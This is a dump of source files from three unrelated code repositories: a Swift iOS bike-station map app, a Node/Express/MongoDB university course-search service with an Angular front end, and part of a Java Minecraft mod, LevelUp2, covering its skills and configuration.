if (nearbyView.isHidden == true) {
mode = .showNearbyStation
nearbyTableView.reloadData()
nearbyView.isHidden = false
}
else {
nearbyView.isHidden = true
}
}
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
switch mode {
case .showAllStation:
return stations.count
case .showNearbyStation:
return nearbyStationsArray.count
case .showSearchResult:
return searchResults.count
}
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
if let cell = tableView.dequeueReusableCell(withIdentifier: "nearbyStationCell") as? NearbyTableViewCell {
var data: ALLiBike?
switch mode {
case .showAllStation:
data = stations[indexPath.row]
case .showNearbyStation:
data = nearbyStationsArray[indexPath.row]
case .showSearchResult:
data = searchResults[indexPath.row]
}
cell.stationNameButton.contentHorizontalAlignment = .leading
cell.stationNameButton.setTitle(data?.Position!, for: .normal)
cell.iBikeImageView.image = UIImage(named: "bicycleMark")
cell.iBikeLabel.text = String((data?.AvailableCNT!)!)
cell.parkingImageView.image = UIImage(named: "parkingMark")
cell.parkingLabel.text = String((data?.EmpCNT!)!)
cell.addressLabel.text = String((data?.CAddress!)!)
return cell
}
return UITableViewCell()
}
var selectedMarker = GMSMarker()
@IBAction func didTapStationName(_ sender: UIButton) {
let buttonTitle = sender.title(for: .normal)
print(buttonTitle!)
for item in self.stations {
if buttonTitle == item.Position! {
selectedMarker.position = CLLocationCoordinate2D(latitude: Double(item.Y!), longitude: Double(item.X!))
selectedMarker.map = mapView
mapView.animate(toLocation: selectedMarker.position)
let currentLocationLat = locationManager.location!.coordinate.latitude
let currentLocationLong = locationManager.location!.coordinate.longitude
let destinationLat = Double(item.Y!)
let destinationLong = Double(item.X!)
let origin = "\(currentLocationLat),\(currentLocationLong)"
let destination = "\(destinationLat),\(destinationLong)"
let url = "https://maps.googleapis.com/maps/api/directions/json?origin=\(origin)&destination=\(destination)&mode=driving&key=<KEY>"
AF.request(url).responseJSON { (reseponse) in
guard let data = reseponse.data else {
return
}
do {
let jsonData = try JSON(data: data)
let routes = jsonData["routes"].arrayValue
for route in routes {
let overview_polyline = route["overview_polyline"].dictionary
let points = overview_polyline?["points"]?.string
let path = GMSPath.init(fromEncodedPath: points ?? "")
let polyline = GMSPolyline.init(path: path)
polyline.strokeColor = .systemBlue
polyline.strokeWidth = 5
polyline.map = self.mapView
}
}
catch let error {
print(error.localizedDescription)
}
}
nearbyView.isHidden = true
}
}
selectedMarker.zIndex = 1
selectedMarker.icon = UIImage(named: "showiBikeMarker")
}
@IBAction func didTapMenu(_ sender: UIButton) {
guard let menuViewController = storyboard?.instantiateViewController(withIdentifier: "MenuViewController") as? MenuViewController else { return }
menuViewController.tapMenuType = {
MenuType in
self.transitionToNewContent(MenuType)
}
menuViewController.modalPresentationStyle = .overCurrentContext
menuViewController.transitioningDelegate = self
present(menuViewController, animated: true)
}
func transitionToNewContent(_ menuType: MenuType) {
self.title = title
topView?.removeFromSuperview()
switch menuType {
case .官方網站:
let view = UIView()
view.backgroundColor = .white
view.frame = self.view.bounds
self.view.addSubview(view)
self.topView = view
case .服務中心:
let view = UIView()
view.backgroundColor = .white
view.frame = self.view.bounds
self.view.addSubview(view)
self.topView = view
case .車友集結:
let view = UIView()
view.backgroundColor = .white
view.frame = self.view.bounds
self.view.addSubview(view)
self.topView = view
default:
break
}
}
func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? {
transition.isPresenting = true
return transition
}
func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? {
transition.isPresenting = false
return transition
}
}
/*動畫控制器,繼承至NSObject*/
class SlideInTransition: NSObject, UIViewControllerAnimatedTransitioning {
/*我們是否正在Menu頁面*/
var isPresenting = false
let dimmingView = UIView()
/*轉場動畫時間*/
func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
return 0.5
}
/*具體轉場動畫*/
func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
guard let toViewController = transitionContext.viewController(forKey: .to),
let fromViewController = transitionContext.viewController(forKey: .from)
else {
return
}
/*視圖大小控制*/
let containerView = transitionContext.containerView
let finalWidth = toViewController.view.bounds.width * 0.8
let finalHeight = toViewController.view.bounds.height
/*從Menu到Menu內部選項*/
if isPresenting {
dimmingView.backgroundColor = .black
dimmingView.alpha = 0.0
containerView.addSubview(dimmingView)
dimmingView.frame = containerView.bounds
containerView.addSubview(toViewController.view)
toViewController.view.frame = CGRect(x: -finalWidth, y: 0, width: finalWidth, height: finalHeight)
}
/*跳出Menu的動畫*/
let transform = {
self.dimmingView.alpha = 0.5
toViewController.view.transform = CGAffineTransform(translationX: finalWidth, y: 0)
}
/*離開Menu的動畫*/
let identity = {
self.dimmingView.alpha = 0.0
fromViewController.view.transform = .identity
}
/*過渡動畫的持續時間 以及 是否取消轉換*/
let duration = transitionDuration(using: transitionContext)
let isCancelled = transitionContext.transitionWasCancelled
/*True跳出Menu,False離開Menu*/
UIView.animate(withDuration: duration, animations: {self.isPresenting ? transform() : identity()})
/*通知系統轉場結束*/
{ (_) in
transitionContext.completeTransition(!isCancelled)
}
}
}
extension HomeViewController: CLLocationManagerDelegate, GMSMapViewDelegate, UISearchBarDelegate {
func searchBarTextDidBeginEditing(_ searchBar: UISearchBar) {
mode = .showAllStation
nearbyTableView.reloadData()
nearbyView.isHidden = false
}
func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) {
guard !searchText.isEmpty else {
mode = .showAllStation
nearbyTableView.reloadData()
return
}
searchResults = allStationsArray.filter{(filterArray) -> Bool in
guard let words = searchBar.text else { return false }
return (filterArray.Position?.contains(words))!
}
mode = .showSearchResult
nearbyTableView.reloadData()
}
func searchBarSearchButtonClicked(_ searchBar: UISearchBar) {
locationSearchBar.resignFirstResponder()
nearbyView.isHidden = false
}
func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {
locationSearchBar.resignFirstResponder()
nearbyView.isHidden = true
}
// func searchBar(_ searchBar: UISearchBar, shouldChangeTextIn range: NSRange, replacementText text: String) -> Bool {
// return true
// }
func mapView(_ mapView: GMSMapView, didTap marker: GMSMarker) -> Bool {
return false
}
func mapView(_ mapView: GMSMapView, markerInfoWindow marker: GMSMarker) -> UIView? {
return self.infoWindowView
}
func locationManager(_ manager: CLLocationManager, didChangeAuthorization status: CLAuthorizationStatus) {
guard status == .authorizedWhenInUse else {
return
}
locationManager.requestLocation()
mapView.isMyLocationEnabled = true
mapView.settings.myLocationButton = true
}
func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) {
let currentLocation = locations[0] as CLLocation;
for item in self.stations {
let coordinate1 = CLLocation(latitude: currentLocation.coordinate.latitude, longitude: currentLocation.coordinate.longitude)
let coordinate2 = CLLocation(latitude: Double(item.Y!), longitude: Double(item.X!))
let distanceInMeters = coordinate2.distance(from: coordinate1)
if distanceInMeters < 1500 {
print(distanceInMeters)
let nearbyStations = ALLiBike.init(X: Double(item.X!), Y: Double(item.Y!), Position: String(item.Position!), CAddress: String(item.CAddress!), AvailableCNT: item.AvailableCNT!, EmpCNT: item.EmpCNT!, UpdateTime: String(item.UpdateTime!))
nearbyStationsArray.append(nearbyStations)
}
}
guard let location = locations.first else {
return
}
mapView.camera = GMSCameraPosition(target: location.coordinate, zoom: 15, bearing: 0, viewingAngle: 0)
}
func locationManager(_ manager: CLLocationManager, didFailWithError error: Error) {
print(error)
}
}
<file_sep>//
// MenuViewController.swift
// iBike
//
// Created by 翟靖庭 on 17/5/2020.
// Copyright © 2020 ChaiChingTing. All rights reserved.
//
import UIKit
enum MenuType: Int {
case 場站地圖
case 服務中心
case 官方網站
case 車友集結
}
class MenuViewController: UITableViewController {
var tapMenuType: ((MenuType) -> Void)?
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view.
}
override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
guard let menuType = MenuType(rawValue: indexPath.row)
else {
return
}
/*頁面跳轉*/
dismiss(animated: true) { [weak self] in
print("Dismissing: \(menuType)")
self?.tapMenuType?(menuType)
}
}
}
| fedb87c80873573bb7637df952e06a4518e9851f | [
"Swift",
"Ruby"
] | 8 | Swift | fcu-d0491050/iBike | a95fccfde169b42e1670c35f1f9940cbf03cf489 | 5d8d82bee467cbd7c29e0ddf4a5b46345437b1e6 |
refs/heads/master | <repo_name>RaisUpDeWold/kishor_ChooseAUniWebService<file_sep>/chooseauni/routes/api/user.js
var express = require('express');
var router = express.Router();
var bodyParser = require('body-parser');
var urlencodedParser = bodyParser.urlencoded({extended: false});
var UserController = require('../../controllers/UserController');
/* Login Action */
router.post('/login', urlencodedParser, [UserController.login]);
module.exports = router;<file_sep>/README.md
# Web Service for ChooseAUni Search Website
<file_sep>/chooseauni/controllers/UserController.js
const pkg = require('../package.json');
const logger = require('../modules/logger.js');
const url = require('url');
/* LogIn Action */
function login(req, res, next) {
let user_email = "<EMAIL>";
let user_pass = "<PASSWORD>";
if (req.body.user_email == user_email && req.body.user_pass == user_pass) res.redirect("/search");
else res.redirect(url.format({
pathname: "/",
query: {
"login_failed": "Login Detail Invalid"
}
}));
}
module.exports = {
login: login
};<file_sep>/chooseauni/public/scripts/search.js
var app = angular.module("searchApp", ["ngResource", "ui.grid", "ui.grid.resizeColumns", "ui.grid.pagination"]);
var SearchController = function($scope, $http, $resource, uiGridConstants) {
var searchApi = $resource("/api/search");
var searchCountApi = $resource("/api/search/count");
var searchApiParams = {
page: 1,
count: 20,
sorting: {},
search: "",
filters: ""
}
var searchCountApiParams = {
search: "",
filters: ""
};
$scope.search_text = "";
$scope.searchGrid = {
enableSorting: true,
useExternalSorting: true,
enableFiltering: true,
useExternalFiltering: true,
useExternalPagination: true,
fastWatch: true,
paginationPageSizes: [20, 50, 100],
paginationPageSize: 20,
columnDefs: [
{ name: "Uni/College", field: "uniName", width: 200 },
{
name: "Course", field: "courseName", width: 200,
cellTemplate: "<div class='ui-grid-cell-contents tooltip-uigrid' title='{{COL_FIELD}}'>" +
"<a target='_blank' href='{{row.entity.courseUrl}}'>{{COL_FIELD}}</a></div>"
},
{ name: "UCAS Code", field: "courseCode", width: 100 },
{ name: "Qual", field: "courseQualification", width: 100 },
{ name: "Years", field: "courseDuration", width: 100 },
{
name: "Mode", field: "courseStudyMode", width: 100,
filter: {
type: uiGridConstants.filter.SELECT,
selectOptions: [
{ value: "Full Time", label: "Full Time" },
{ value: "Part Time", label: "Part Time" },
{ value: "Full or Part Time", label: "Full or Part Time" }
]
}
},
{ name: "Typical Offer", field: "courseTypialOffer", width: 100 },
{
name: "Study Abroad", field: "courseStudyAbroad", width: 100,
filter: {
type: uiGridConstants.filter.SELECT,
selectOptions: [
{ value: "Year Abroad: Optional", label: "Year Abroad: Optional" },
{ value: "Year Abroad: Compulsory", label: "Year Abroad: Compulsory" }
]
}
},
{
name: "Work Placement", field: "courseSandwich", width: 100,
filter: {
type: uiGridConstants.filter.SELECT,
selectOptions: [
{ value: "Sandwich: Optional", label: "Sandwich: Optional" },
{ value: "Sandwich: Compulsory", label: "Sandwich: Compulsory" }
]
}
},
{ name: "UK Uni Ranking", field: "uniNationalRanking", enableSorting: true, width: 100 },
{ name: "World Uni Ranking", field: "uniWorldRanking", enableSorting: true, width: 100 },
{ name: "Group", field: "uniGroup", width: 100 },
{ name: "Exam%", field: "courseExams", enableSorting: true, width: 100 },
{ name: "CourseWork%", field: "courseCoursework", enableSorting: true, width: 100 },
{ name: "Contact%", field: "courseContact", enableSorting: true, width: 100 },
{ name: "Success", field: "courseSuccessScore", enableSorting: true, width: 100 },
{
name: "Satisfaction", field: "courseSatisfactionLevel", enableSorting: true, width: 150,
filter: {
type: uiGridConstants.filter.SELECT,
selectOptions: [
{ value: "Satisfaction: Very High", label: "Satisfaction: Very High" },
{ value: "Satisfaction: High", label: "Satisfaction: High" },
{ value: "Satisfaction: Medium", label: "Satisfaction: Medium" },
{ value: "Satisfaction: Low", label: "Satisfaction: Low" },
{ value: "Satisfaction: Very Low", label: "Satisfaction: Very Low" }
]
}
},
{
name: "Entry Standards", field: "courseEntryStandardsLevel", enableSorting: true, width: 180,
filter: {
type: uiGridConstants.filter.SELECT,
selectOptions: [
{ value: "Entry Standard: Very High", label: "Entry Standard: Very High" },
{ value: "Entry Standard: High", label: "Entry Standard: High" },
{ value: "Entry Standard: Medium", label: "Entry Standard: Medium" },
{ value: "Entry Standard: Low", label: "Entry Standard: Low" },
{ value : "Entry Standard: Very Low", label: "Entry Standard: Very Low" }
]
}
},
{ name: "CAU Rating", field: "courseCauRating", width: 100 }
],
onRegisterApi: function(gridApi) {
$scope.gridApi = gridApi;
gridApi.pagination.on.paginationChanged($scope, function (newPage, pageSize) {
searchApiParams.page = newPage;
searchApiParams.count = pageSize;
$scope.searchKisCourse();
});
gridApi.core.on.sortChanged($scope, function (grid, sortColumns) {
if (sortColumns != 0) {
var field = sortColumns[0].field;
var direction = sortColumns[0].sort.direction;
var sorting = new Object();
sorting[field] = direction;
searchApiParams.sorting = sorting;
$scope.searchKisCourse();
}
});
gridApi.core.on.filterChanged($scope, function () {
var grid = this.grid;
var filters = [];
for (var i = 0; i < grid.columns.length; i ++) {
if (grid.columns[i].filters[0].term) {
var filterObj = new Object();
var field = grid.columns[i].field;
var filter = grid.columns[i].filters[0].term;
filterObj[field] = filter;
filters.push(filterObj);
}
}
searchApiParams.filters = JSON.stringify(filters);
searchCountApiParams.filters = JSON.stringify(filters);
$scope.searchKisCourse();
});
}
};
$scope.searchKisCourse = function() {
searchApiParams.search = $scope.search_text;
searchApi.query(searchApiParams).$promise.then(function(data) {
$scope.searchGrid.data = data;
searchCountApiParams.search = $scope.search_text;
searchCountApi.get(searchCountApiParams).$promise.then(function(totalCount) {
$scope.searchGrid.totalItems = totalCount.total;
});
});
};
$scope.searchKisCourse();
/*
$scope.searchResult = new NgTableParams({}, {
getData: function(params) {
return searchKisCourse();
}
});
$scope.searchText = searchText;
function searchText() {
$scope.searchResult.reload();
}
function searchKisCourse() {
var params = $scope.searchResult;
var search_text = $("#chooseauni_search").val();
var searchCountApiParams = {
search: search_text
};
return searchCountApi.get(searchCountApiParams).$promise.then(function(totalCount) {
params.total(totalCount.total);
var page = params.page(),
count = params.count(),
sorting = params.sorting();
var searchApiParams = {
page: page,
count: count,
sorting: sorting,
search: search_text
};
return searchApi.query(searchApiParams).$promise.then(function(data) {
return data;
});
});
}*/
};
SearchController.$inject = ["$scope", "$http", "$resource", "uiGridConstants"];
app.controller("SearchController", SearchController);<file_sep>/chooseauni/routes/routes.js
var express = require("express");
var router = express.Router();
var bodyParser = require("body-parser");
var urlencodedParser = bodyParser.urlencoded({extended: false});
const logger = require('../modules/logger.js');
/* Main HomePage */
router.get("/", urlencodedParser, function(req, res, next) {
var login_failed = "";
if (req.query.login_failed) login_failed = req.query.login_failed;
res.render("index", {login_failed: login_failed});
});
/* Search Page */
router.get("/search", function(req, res, next) {
res.render("search", {});
});
module.exports = router;<file_sep>/chooseauni/config/express.js
'use strict';
const path = require('path');
const express = require('express');
var favicon = require('serve-favicon');
const morganLogger = require('morgan');
const logger = require(path.join('..', 'modules', 'logger'));
const bodyParser = require('body-parser');
const mongoose = require('mongoose');
const config = require('.' + path.sep + 'config');
const configEnv = require('.' + path.sep + 'config-env');
function createExpressApp() {
const app = express();
//app.use(morganLogger('dev'));
// MongoClient
logger.info('Configuring MongoDB...');
let db = configEnv.mongo.db;
if (process.env.NODE_ENV === 'test') {
db += '-test'; // Test Mode
}
logger.info('MongoDB: Connecting to ', db, configEnv.mongo.host + ' : ' + configEnv.mongo.port);
/*mongoose.connect(configEnv.mongo.host, db, configEnv.mongo.port, {
user: configEnv.mongo.user,
pass: configEnv.mongo.pass
}, function () {
if (process.env.NODE_ENV === 'test') {
logger.debug('MongoDB: Dropping the Database...');
mongoose.connection.db.dropDatabase();
}
});*/
logger.info('mongodb://' + configEnv.mongo.host + ':' + configEnv.mongo.port + '/' + db);
mongoose.connect('mongodb://' + configEnv.mongo.host + '/' + db);
// Auto Routing
if (config.autorouting) {
logger.info('Configuring Auto-Routing...');
const apiFiles = require('glob').sync(config.apiRoutes);
apiFiles.forEach((file) => {
const route = '/' + file.replace(/(^(\.\/|)routes\/|((\/|)index|)\.js$)/g, '');
logger.debug('Api - Auto-Routing: Using', file, 'Router for Route', route);
app.use(route, require(path.join('..', file)));
});
const viewFiles = require('glob').sync(config.viewRoutes);
viewFiles.forEach((file) => {
const route = '/';
logger.debug('View - Auto-Routing: Using', file, 'Router for Route', route);
app.use(route, require(path.join('..', file)));
});
}
// uncomment after placing your favicon in /public
//app.use(favicon(path.join(__dirname, 'public', 'favicon.ico')));
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// Set Port...
logger.info('Configuring Port', config.server.port);
app.set('port', config.server.port);
// Set View
logger.info('Configuring Views');
let staticView = 'views';
/*if (app.get('env') == 'development') {
staticView = 'views_public';
}*/
logger.info(path.join(__dirname, staticView));
app.set('views', path.join(staticView));
app.set('view engine', 'jade');
// Set Static Folder
logger.info('Configuring Static Folder...');
let staticRoute = 'public';
/*if (app.get('env') === 'development') {
staticRoute = 'build_public';
}*/
logger.debug('Static folder: Using', staticRoute);
app.use(express.static(path.join(staticRoute)));
return app;
}
module.exports = createExpressApp();<file_sep>/chooseauni/config/config-env.js
module.exports = {
port: '3000',
mongo: {
host: 'ec2-54-171-242-116.eu-west-1.compute.amazonaws.com',
port: '27017',
user: '',
pass: '',
db: 'chooseauni'
}
};<file_sep>/chooseauni/controllers/SearchController.js
const KisCourse = require('../models/KisCourse');
const logger = require('../modules/logger.js');
// Get Data By the Search Parameter
function getSearchResultWithParams(req, res, next) {
let page = -1, count = -1, sorting = {}, search = "", filters = "[]";
if (req.query) {
if (req.query.page) page = parseInt(req.query.page, 10);
if (req.query.count) count = parseInt(req.query.page, 10);
if (req.query.sorting) sorting = JSON.parse(req.query.sorting);
if (req.query.search) search = req.query.search;
if (req.query.filters) filters = req.query.filters;
}
count = parseInt(req.query.count, 10);
var query = null;
var andSearchQuery = [];
var searchArr = search.split(" ");
for (var i = 0; i < searchArr.length; i ++) {
if (searchArr[i].length < 2) continue;
if (i == 0 && searchArr[i].length < 3) continue;
var regSearch = new RegExp(searchArr[i], 'i');
andSearchQuery.push({
$or: [
{ "uniName": regSearch },
{ "courseName": regSearch },
{ "courseQualification": regSearch },
{ "courseStudyMode": regSearch },
{ "courseStudyAbroad": regSearch },
{ "courseSandwich": regSearch },
{ "uniGroup": regSearch },
{ "courseSatisfactionLevel": regSearch },
{ "courseEntryStandardsLevel": regSearch }
]
});
}
filters = JSON.parse(filters);
for (var i = 0; i < filters.length; i ++) {
var key = Object.keys(filters[i])[0];
var filter = {};
var regSearch = new RegExp(filters[i][key], 'i');
filter[key] = regSearch;
andSearchQuery.push(filter);
}
logger.info("SearchAPI AndSearchQuery");
logger.info(andSearchQuery);
if (andSearchQuery.length == 0) query = KisCourse.find({});
else query = KisCourse.find({ $and: andSearchQuery });
query.sort(sorting).limit(count).skip((page - 1) * count).then(courses => {
res.send(courses);
}).catch (e => {
res.status(503).send(e);
});
}
// Get Data Length By the Search Parameter
function getSearchResultCounts(req, res, next) {
let search = "";
let filters = "[]";
if (req.query) {
if (req.query.search) search = req.query.search;
if (req.query.filters) filters = req.query.filters;
}
var query = null;
if (search == "" && (filters == "" || filters == "[]")) query = KisCourse.find();
else {
var andSearchQuery = [];
var searchArr = search.split(" ");
for (var i = 0; i < searchArr.length; i ++) {
if (searchArr[i].length < 2) continue;
if (i == 0 && searchArr[i].length < 3) continue;
var regSearch = new RegExp(searchArr[i], 'i');
andSearchQuery.push({
$or: [
{ "uniName": regSearch },
{ "courseName": regSearch },
{ "courseQualification": regSearch },
{ "courseStudyMode": regSearch },
{ "courseStudyAbroad": regSearch },
{ "courseSandwich": regSearch },
{ "uniGroup": regSearch },
{ "courseSatisfactionLevel": regSearch },
{ "courseEntryStandardsLevel": regSearch }
]
});
}
filters = JSON.parse(filters);
for (var i = 0; i < filters.length; i ++) {
var key = Object.keys(filters[i])[0];
var filter = {};
var regSearch = new RegExp(filters[i][key], 'i');
filter[key] = regSearch;
andSearchQuery.push(filter);
}
logger.info("SearchAPICount AndSearchQuery");
logger.info(andSearchQuery);
query = KisCourse.find({ $and: andSearchQuery });
}
if (query == null) res.send({total: 0});
else query.count(function(err, total) { res.send({total: total}); });
}
module.exports = {
getSearchResultWithParams: getSearchResultWithParams,
getSearchResultCounts: getSearchResultCounts
};<file_sep>/chooseauni/models/KisCourse.js
'use strict';
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const ObjectId = Schema.ObjectId;
const logger = require('../modules/logger.js');
const KisCourseSchema = new Schema({
uniName: {
type: String,
required: true
},
courseName: {
type: String,
required: true
},
courseCode: {
type: String,
required: true
},
courseQualification: {
type: String,
required: true
},
courseDuration: {
type: String,
required: true
},
courseStudyMode: {
type: String,
required: true
},
courseTypicalOffer: {
type: String,
required: true
},
courseStudyAbroad: {
type: String,
required: true
},
courseSandwich: {
type: String,
required: true
},
uniNationalRanking: {
type: String,
required: true
},
uniWorldRanking: {
type: String,
required: true
},
uniGroup: {
type: String,
required: true
},
courseExams: {
type: String,
required: true
},
courseCoursework: {
type: String,
required: true
},
courseContact: {
type: String,
required: true
},
courseSuccessScore: {
type: String,
required: true
},
courseSatisfactionLevel: {
type: String,
required: true
},
courseEntryStandardsLevel: {
type: String,
required: true
},
courseCauRating: {
type: String,
required: true
}
}, {
versionKey: false
});
const KisCourse = mongoose.model('kiscourse', KisCourseSchema);
module.exports = KisCourse; | 65a8f42f38397ad0af7aa8a7ede9ba6957e6a103 | [
"JavaScript",
"Markdown"
] | 9 | JavaScript | RaisUpDeWold/kishor_ChooseAUniWebService | 3afa74591be085f3d36732ec5ac5b7ba5e89d4fc | c48a9a60a80f4f40761dba5c7e1b36c748a64c21 |
refs/heads/master | <file_sep>string=input("Enter a color")
colors = ["red", "green", "blue", "purple"]
for i in range(len(colors)):
if (string==colors[i]):
print("Matched")
break
else:
print("Not Matched")
| 8c71d3d8296673471acd4aeaeb9275cd386aec44 | [
"Python"
] | 1 | Python | itsfk/Python_lists | bca23fb829d9f6d67b288c90c050d374b739eef6 | a546454d7e05c0b1fa25c16c5ef01d377a4b63e7 |
refs/heads/master | <repo_name>CYJfdu/Rust-IO-project-study<file_sep>/cyjproject/src/lib.rs
use std::fs::File;
use std::io::prelude::*;
use std::error::Error;
//lib中内容 run函数的定义
// 相关的use语句
// config
pub struct Config{
pub query:String,
pub filename:String,
// pub judgesensi:bool,
}
impl Config{
pub fn new(args:&[String])->Result<Config,&'static str> {
if args.len()<3{
return Err("not enoufh arguments")
}
let query = args[1].clone();
let filename = args[2].clone();
Ok( Config{ query, filename })
}
}
pub fn run(config:Config) ->Result<(),Box<Error>>{
let mut f =File::open(config.filename)?;
let mut contents =String::new();
f.read_to_string(&mut contents)?;
for line in search(&config.query,&contents){
println!("{}",line);
}
Ok(())
}
pub fn search<'a>(query:&str,contents:&'a str)->Vec<&'a str>{
let mut resline=Vec::new();
for line in contents.lines(){
if line.contains(query) {
resline.push(line);
}
}
resline
}
pub fn insensitivesearch<'a>(query:&str,contents:&'a str)->Vec<&'a str>{
let query =query.to_lowercase();
let mut resline=Vec::new();
for line in contents.lines(){
if line.to_lowercase().contains(&query) {
resline.push(line);
}
}
resline
}
#[cfg(test)]
mod test{
use super::*;
#[test]
fn sensitivecase(){
let query="cyj";
let contents="\
Come on,
cyj,
you are the best.";
assert_eq!(vec!["cyj,"],search(query,contents));
}
#[test]
fn insesitivecase(){
let query="CYJ";
let contents="\
Come on,
cyj,
you are the best.";
assert_eq!(vec!["cyj,"],insensitivesearch(query,contents));
}
}
<file_sep>/cyjproject/src/main.rs
extern crate cyjproject;
use std::env;
use std::process;
use cyjproject::Config;
fn main() {
let args: Vec<String> = env::args().collect();
let config = Config::new(&args).unwrap_or_else(|err|{
println!("problem parsing arguments:{}",err);
process::exit(1);
});
println!("search for : {}", config.query);
println!("file : {}", config.filename);
if let Err(e)=cyjproject::run(config){
println!("Error:{}",e);
process::exit(1);
};
}
//main中包含 使用参数值调用命令行解析逻辑
// 设置配置
// 调用run函数
// 处理run返回的err
/*
let query=&args[1];
let filename=&args[2];
println!("search for : {}",query);
println!("file : {}",filename);
//传递filename来获取文件 expect内是失败时打印出的错误信息
let mut f = File::open(filename).expect("file not found");
//可变的contents用于存放文件的内容
let mut contents=String::new();
//read_to_string传递参数
f.read_to_string(&mut contents).expect("wrong with reading the file");
println!("text: \n{}",contents);
}*/<file_sep>/cyjproject/Cargo.toml
[package]
name = "cyjproject"
version = "0.1.0"
authors = ["cyj"]
[dependencies]
| 2f919a77a868f3f00aeb11eff4b4f4b595dc0ca8 | [
"TOML",
"Rust"
] | 3 | Rust | CYJfdu/Rust-IO-project-study | 85030a34c02118bad8f8a40fe9492067b078766c | 9e0c72b0d58871558a1da6bb5670847d77f4791b |
refs/heads/master | <repo_name>MrMasochism/LevelUp2<file_sep>/src/main/java/levelup2/skills/combat/StealthSpeed.java
package levelup2.skills.combat;
import levelup2.skills.BaseSkill;
import levelup2.skills.SkillRegistry;
import levelup2.util.Library;
import net.minecraft.entity.SharedMonsterAttributes;
import net.minecraft.entity.ai.attributes.AttributeModifier;
import net.minecraft.entity.ai.attributes.IAttributeInstance;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
import net.minecraftforge.fml.common.gameevent.TickEvent;
public class StealthSpeed extends BaseSkill {
@Override
public String getSkillName() {
return "levelup:stealthspeed";
}
@Override
public int getSkillRow() {
return 2;
}
@Override
public int getSkillColumn() {
return 3;
}
@Override
public byte getSkillType() {
return 2;
}
@Override
public boolean hasSubscription() {
return true;
}
@Override
public String[] getPrerequisites() {
return new String[] {"levelup:stealth", "levelup:fallprotect"};
}
@Override
public int getMaxLevel() {
return 10;
}
@Override
public int getLevelCost(int currentLevel) {
if (currentLevel >= 0 && currentLevel < getMaxLevel())
return Library.tenLevels[currentLevel];
return -1;
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Items.LEATHER_BOOTS);
}
@SubscribeEvent
public void onPlayerSneak(TickEvent.PlayerTickEvent evt) {
if (evt.phase == TickEvent.Phase.START) {
int skill = SkillRegistry.getSkillLevel(evt.player, getSkillName());
if (skill > 0) {
IAttributeInstance attrib = evt.player.getEntityAttribute(SharedMonsterAttributes.MOVEMENT_SPEED);
AttributeModifier mod = new AttributeModifier(Library.sneakID, "SneakingSkillSpeed", skill / 10F, 2);
if (evt.player.isSneaking()) {
if (attrib.getModifier(Library.sneakID) == null)
attrib.applyModifier(mod);
}
else if (attrib.getModifier(Library.sneakID) != null)
attrib.removeModifier(mod);
}
}
}
}
<file_sep>/src/main/java/levelup2/skills/crafting/FurnaceSmeltBonus.java
package levelup2.skills.crafting;
import levelup2.skills.BaseSkill;
import levelup2.util.Library;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
public class FurnaceSmeltBonus extends BaseSkill {
@Override
public String getSkillName() {
return "levelup:furnacebonus";
}
@Override
public int getSkillRow() {
return 1;
}
@Override
public int getSkillColumn() {
return 1;
}
@Override
public byte getSkillType() {
return 1;
}
@Override
public boolean hasSubscription() {
return false;
}
@Override
public String[] getPrerequisites() {
return new String[] {"levelup:furnacespeed"};
}
@Override
public int getMaxLevel() {
return 10;
}
@Override
public int getLevelCost(int currentLevel) {
if (currentLevel >= 0 && currentLevel < getMaxLevel())
return Library.tenLevels[currentLevel];
return -1;
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Items.COAL);
}
}
<file_sep>/src/main/java/levelup2/config/LevelUpConfig.java
package levelup2.config;
import levelup2.util.JsonTransfer;
import levelup2.util.Library;
import net.minecraftforge.common.config.Configuration;
import net.minecraftforge.common.config.Property;
import java.io.File;
import java.nio.file.Path;
import java.util.*;
import java.util.regex.Pattern;
public class LevelUpConfig {
public static boolean resetClassOnDeath = true;
public static boolean furnaceEjection = false;
private static boolean resetJsonFiles = false;
public static boolean damageScaling = false;
public static boolean alwaysDropChunks = false;
public static boolean useOreChunks = true;
public static boolean dupeAllOres = true;
public static List<String> cropBlacklist;
public static List<String> oreList;
private static String[] ores = {"oreCoal", "oreIron", "oreGold", "oreDiamond", "oreEmerald", "oreRedstone", "oreLapis", "oreCopper", "oreTin"};
public static List<Integer> oreColors;
private static int[] colors = {0x343434, 0xBC9980, 0xFCEE4B, 0x5DECF5, 0x17DD62, 0xFF0000, 0x193CB4, 0xFF6D11, 0x8FB0CE};
public static List<String> netherOreList;
private static String[] netherOres = {"oreQuartz"};
public static List<Integer> netherOreColors;
private static int[] netherColors = {0xE5DED5};
public static List<String> endOreList;
private static String[] endOres = {"null"};
public static List<Integer> endOreColors;
private static int[] endColors = {0};
private static Configuration cfg;
private static Property[] serverProperties;
public static int rareChance = 1;
public static int uncommonChance = 15;
public static int commonChance = 85;
public static int combinedChance;
public static int reclassCost = 30;
private static Property resetJson;
private static Path configDir;
private static Path jsonDir;
public static Path lootDir;
public static void init(File file) {
configDir = file.getParentFile().toPath().resolve("levelup2");
jsonDir = configDir.resolve("json");
lootDir = jsonDir.resolve("loot_tables");
cfg = new Configuration(file);
serverProperties = new Property[] {
cfg.get(Configuration.CATEGORY_GENERAL, "Reset class on death", resetClassOnDeath, "Does the player lose all levels on death?"),
cfg.get(Configuration.CATEGORY_GENERAL, "Furnace ejects bonus items", furnaceEjection, "Does the furnace eject doubled items?"),
cfg.get(Configuration.CATEGORY_GENERAL, "Sword skill damage scaling", damageScaling, "Get additional attack power if a mob's max HP is over 20"),
